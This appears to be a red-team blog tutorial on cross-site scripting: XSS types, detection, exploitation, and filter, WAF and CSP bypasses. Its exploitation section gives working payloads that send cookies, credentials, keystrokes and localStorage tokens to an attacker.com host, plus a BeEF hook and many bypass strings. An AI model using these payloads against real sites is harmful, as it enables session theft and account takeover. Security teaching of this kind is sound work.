Cross-site scripting has been broken for as long as the web has existed. In 2026, it still shows up everywhere — modern SPAs, legacy enterprise apps, AI-generated frontends with no output encoding, CMS platforms with half-baked sanitization. XSS is the kind of vulnerability that’s “easy” to dismiss until you see a session token extracted from a banking app or a phishing payload delivered from a trusted domain.
This guide covers everything: how XSS works, the three main categories, detection with Burp and manual techniques, exploitation for real impact, filter bypass when WAFs and sanitizers are in the way, and DOM-based XSS which most people still get wrong.
What Is XSS?
Cross-site scripting (XSS) happens when an application includes untrusted data in a web page without proper encoding or sanitization. The browser interprets attacker-controlled input as executable JavaScript instead of data.
The core problem: HTML and JavaScript share the same delivery channel. If you can inject <script> tags, event handlers, or JavaScript URIs into a page that others view, you control what runs in their browser — under the context of the vulnerable site.
This gives you:
- Session hijacking — steal cookies and impersonate users
- Credential harvesting — inject fake login forms
- Keylogging — capture everything typed on the page
- CSRF bypass — perform actions as the victim
- Malware delivery — redirect to exploit kits
- Internal network scanning — use the victim’s browser as a pivot
XSS is #3 on the OWASP Top 10. It’s been there for two decades. It keeps showing up because output encoding is boring and developers skip it.
Three Types of XSS
Reflected XSS
The payload travels in the request (URL parameter, form field, HTTP header) and gets reflected immediately in the response. The victim needs to be tricked into clicking a malicious link.
https://vulnerable.com/search?q=<script>alert(document.cookie)</script>
If the app renders the q parameter directly into the HTML without encoding, the script executes. The attacker crafts the URL and delivers it via phishing, redirect chains, or social engineering.
Key trait: Not stored. Works via request → response reflection. Single victim per click.
Stored XSS (Persistent)
The payload is stored in the application’s database or file system — in a comment, profile field, forum post, product review, ticket description. Every user who views that content executes the payload.
This is the dangerous variant. One injection, many victims. Ideal for:
- Session mass-harvesting on a community platform
- Targeting specific users (admin who views moderation queue)
- Long-lived persistence in enterprise apps where the injected content stays for months
Key trait: Payload persists server-side. Executes for every viewer without additional attacker interaction.
DOM-Based XSS
The vulnerability lives entirely in client-side JavaScript. The server sends a safe response, but the page’s own scripts read attacker-controlled data from the DOM (URL hash, document.URL, window.location, localStorage) and write it to a dangerous sink without sanitization.
The payload never reaches the server — standard WAFs and server-side filters don’t see it.
Example:
// Vulnerable code
var hash = document.location.hash.substring(1);
document.getElementById('msg').innerHTML = hash;
// Attack URL
https://vulnerable.com/page#<img src=x onerror=alert(1)>
Key trait: Server response is clean. Exploitation is entirely client-side. Often missed by automated scanners.
Detection
Burp Suite — The Right Workflow
Burp Suite Pro’s scanner catches most reflected and stored XSS automatically, but manual testing finds what scanners miss — especially DOM-based and context-dependent injections.
Passive collection first:
- Proxy all traffic through Burp while using the application normally
- Map every input vector: URL params, form fields, headers, JSON body keys/values, cookies,
Referer,User-Agent - Note how inputs are reflected — in HTML body, HTML attributes, JavaScript context, URL context
Active testing:
- Send each request with reflected input to Repeater
- Inject a unique probe string:
RyukXSS123<>"' - Check the response — where does your string appear? What characters get encoded?
- Based on context, craft the appropriate payload
Context Mapping — Critical Step
Your payload depends entirely on where the input lands:
HTML body context:
<!-- Input reflected here -->
<p>Hello, [INPUT]</p>
<!-- Payload -->
<script>alert(1)</script>
<!-- or -->
<img src=x onerror=alert(1)>
HTML attribute context:
<!-- Input reflected in attribute -->
<input value="[INPUT]">
<!-- Payload — break out of attribute -->
"><script>alert(1)</script>
<!-- or stay in attribute with event handler -->
" onmouseover="alert(1)
JavaScript string context:
<!-- Input inside a JS string -->
<script>var name = '[INPUT]';</script>
<!-- Payload — break out of string -->
';alert(1)//
<!-- or -->
\';alert(1)//
URL context:
<a href="[INPUT]">Click</a>
<!-- Payload -->
javascript:alert(1)
Manual DOM XSS Testing
Scanners miss DOM XSS routinely. Manual approach:
- In browser DevTools, search all JS files for dangerous sources:
location.hash,location.search,document.URL,document.referrer,window.name,postMessage - Track how those values flow to dangerous sinks:
innerHTML,outerHTML,document.write,eval,setTimeoutwith string arg,location.href,srcattribute assignment - Inject payloads via the source and observe sink behavior
DOM Invader (Burp Suite Pro) automates much of this — it instruments the page to trace taint flows from sources to sinks.
Tools for Detection
- Burp Suite Pro — scanner + manual testing + DOM Invader
- Dalfox — fast parameter-based XSS scanner:
dalfox url "https://target.com/search?q=FUZZ" - XSStrike — context-aware XSS detection with fuzzing
- Browser DevTools — essential for DOM analysis
- Semgrep — source code XSS pattern scanning (if you have code access)
Exploitation — Going Beyond Alert(1)
alert(1) proves execution. For real impact, you need more.
Session Hijacking
Steal the session cookie and replay it:
// Exfiltrate cookie to attacker-controlled server
fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie));
// Alternative: image-based exfil (no JS fetch needed)
new Image().src = 'https://attacker.com/steal?c=' + document.cookie;
If the cookie has HttpOnly, you can’t read it directly. But you can still:
- Make authenticated requests on behalf of the victim (CSRF-style)
- Extract CSRF tokens from the page DOM and use them
- Exfiltrate page content that contains sensitive data
Credential Harvesting
Inject a fake login form over the real page:
// Replace page content with phishing form
document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999"><h2>Session expired. Please login again.</h2><form onsubmit="steal(event)"><input id="u" placeholder="Username"><input id="p" type="password" placeholder="Password"><button>Login</button></form></div>';
function steal(e) {
e.preventDefault();
fetch('https://attacker.com/creds', {method:'POST', body: JSON.stringify({u: document.getElementById('u').value, p: document.getElementById('p').value})});
}
Keylogger
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/keys?k=' + e.key);
});
BeEF (Browser Exploitation Framework)
For complex post-exploitation, hook the victim’s browser into BeEF:
<script src="https://attacker.com:3000/hook.js"></script>
BeEF gives you a GUI to:
- Run modules (screenshot, network scan, clipboard theft, webcam access)
- Maintain persistent access while the victim is on the page
- Chain attacks against the internal network via the browser
XSS to Account Takeover
Many modern apps use tokens instead of cookies, stored in localStorage or sessionStorage. HttpOnly doesn’t protect these:
// Steal all localStorage
var data = {};
for (var i = 0; i < localStorage.length; i++) {
data[localStorage.key(i)] = localStorage.getItem(localStorage.key(i));
}
fetch('https://attacker.com/loot', {method:'POST', body: JSON.stringify(data)});
Filter Bypass Techniques
Modern applications use sanitization libraries, WAFs, and Content Security Policy. Here’s how red teamers work around them.
Character Encoding Bypasses
When angle brackets are filtered:
// HTML entities
<script>alert(1)</script> -- doesn't work
// But in some contexts, HTML entity encoding can survive decode cycles
// URL encoding (in URL context)
%3Cscript%3Ealert(1)%3C/script%3E
// Double URL encoding (some filters decode once)
%253Cscript%253Ealert(1)%253C/script%253E
Tag Variation Bypasses
Filters blocking <script>:
<!-- Case variation -->
<SCRIPT>alert(1)</SCRIPT>
<ScRiPt>alert(1)</ScRiPt>
<!-- Broken tag (some browsers parse broken HTML)-->
<sc<script>ript>alert(1)</sc</script>ript>
<!-- Event handlers avoid script tag entirely -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
JavaScript Context Bypasses
When inside a <script> block and quotes are filtered:
// Template literals (backticks) avoid quote filtering
alert`1`
// String.fromCharCode
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
// Hex encoding
eval('\x61\x6c\x65\x72\x74\x28\x31\x29')
// Octal encoding
eval('\141\154\145\162\164\050\061\051')
CSP Bypass
Content Security Policy is supposed to block inline scripts. Common misconfigurations:
Unsafe eval allowed:
Content-Security-Policy: script-src 'unsafe-eval' https://cdn.example.com
If eval is allowed, you can often execute JS via template injection.
Whitelisted CDN with user-controlled files:
Content-Security-Policy: script-src https://cdn.jsdelivr.net
If you can upload a JS file to a whitelisted CDN (JSDelivr pulls from GitHub), you can serve a payload from there.
JSONP endpoints on whitelisted domains:
Some APIs return JSONP with a callback parameter. If apis.trusted.com is whitelisted and has a JSONP endpoint:
<script src="https://apis.trusted.com/data?callback=alert(1)//"></script>
Angular in CSP bypass mode: Legacy Angular (1.x) has ng-app auto-bootstrap that executes template expressions. If the page loads Angular from a whitelisted CDN:
{{constructor.constructor('alert(1)')()}}
WAF Bypass Techniques
WAFs do pattern matching. Bypass strategies:
Obfuscation:
// Jsfuck — valid JS using only 6 characters
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]
// JSFuck encodes any payload, bypasses regex filters entirely
Mutation testing with XSStrike:
python3 xsstrike.py -u "https://target.com/search?q=test" --fuzzer
Chunked encoding / HTTP smuggling — send payload across multiple requests to evade single-request analysis.
Unusual event handlers:
<marquee onstart=alert(1)>
<isindex type=image src=1 onerror=alert(1)>
<object data="javascript:alert(1)">
<math href="javascript:alert(1)">CLICK</math>
Real-World XSS Scenarios
Stored XSS via Comment Field → Admin Account Takeover
- Identify a comment or note feature with insufficient sanitization
- Inject payload that fires when an admin views moderation queue:
<img src=x onerror="fetch('https://attacker.com/admin-cookie?c='+document.cookie)"> - Receive admin session cookie
- Replay cookie → admin access
Reflected XSS via Search → Mass Phishing
- Identify reflected XSS in search parameter
- Craft URL with credential-harvesting payload
- Shorten URL (to hide the payload)
- Deliver to users via email, social media, or compromised forum post
- Victims land on legitimate site (no phishing indicators in browser) — their credentials get exfiltrated
DOM XSS via Hash → CSP Bypass
- Identify DOM sink reading
location.hash - Payload never hits server → WAF and server-side filters are blind
- Deliver:
https://target.com/app#<img src=x onerror=alert(1)> - Combined with permissive CSP or no CSP → full script execution
Mitigation (Know What You’re Testing Against)
Understanding mitigations makes you a better attacker — you know what to look for and what to bypass.
Output encoding — the real fix. Encode all user-supplied data before rendering:
- HTML context → HTML entity encode
- Attribute context → HTML attribute encode
- JavaScript context → JavaScript escape
- URL context → URL percent-encode
Content Security Policy — restricts script sources. Effective when strict ('nonce' or 'hash'-based). Ineffective with 'unsafe-inline' or loose whitelists.
HttpOnly cookies — prevents document.cookie access. Doesn’t stop XSS; limits impact for cookie theft specifically.
Sanitization libraries — DOMPurify is the gold standard for client-side sanitization. Server-side: OWASP Java HTML Sanitizer, HtmlSanitizer (.NET). Only trust well-maintained, widely-audited libraries.
Subresource Integrity (SRI) — ensures third-party scripts haven’t been tampered with.
As a red teamer: when you see a WAF or CSP, don’t stop — characterize it and find the gap.
XSS Lab Practice
The best way to build this skill is reps in controlled environments. A VPS running DVWA, bWAPP, or WebGoat gives you an isolated playground without risk.
- Vultr — spin up a $6/month Ubuntu VPS, deploy DVWA in Docker, get hands-on within 10 minutes
- DigitalOcean — similar pricing, one-click droplets for quick lab setup
For guided learning with real-world scenarios, TryHackMe’s “Cross-site Scripting” room and PortSwigger Web Security Academy (free) are both solid.
Checklist: XSS Testing Methodology
Use this for every web application pentest:
- Map all input vectors (params, headers, body fields, cookies)
- Probe each vector with unique string, observe reflection context
- Test HTML body, attribute, JS string, and URL contexts separately
- Run DOM Invader or manual source/sink analysis for DOM XSS
- Verify filter/WAF behavior — what characters are encoded or blocked?
- Attempt context-appropriate bypasses if initial payload is blocked
- Document exploitation impact (PoC beyond alert(1) where possible)
- Test for stored XSS in all write operations (comments, profiles, tickets, etc.)
Wrapping Up
XSS isn’t glamorous. It’s also not going away. The gap between “developer thought this was sanitized” and “attacker has session tokens” is usually a handful of characters and a missing encodeURIComponent() call.
For red teamers: XSS gets you inside the browser — the one place endpoint detection doesn’t watch closely enough. Session theft, credential phishing from a trusted domain, and browser-based pivoting into internal networks are all real outcomes, not theoretical.
Get the methodology right. Know your contexts. Document impact beyond proof-of-concept.
Need a custom web application pentest report? CipherWrite delivers professional pentest reports and cybersecurity content — built for red teamers.
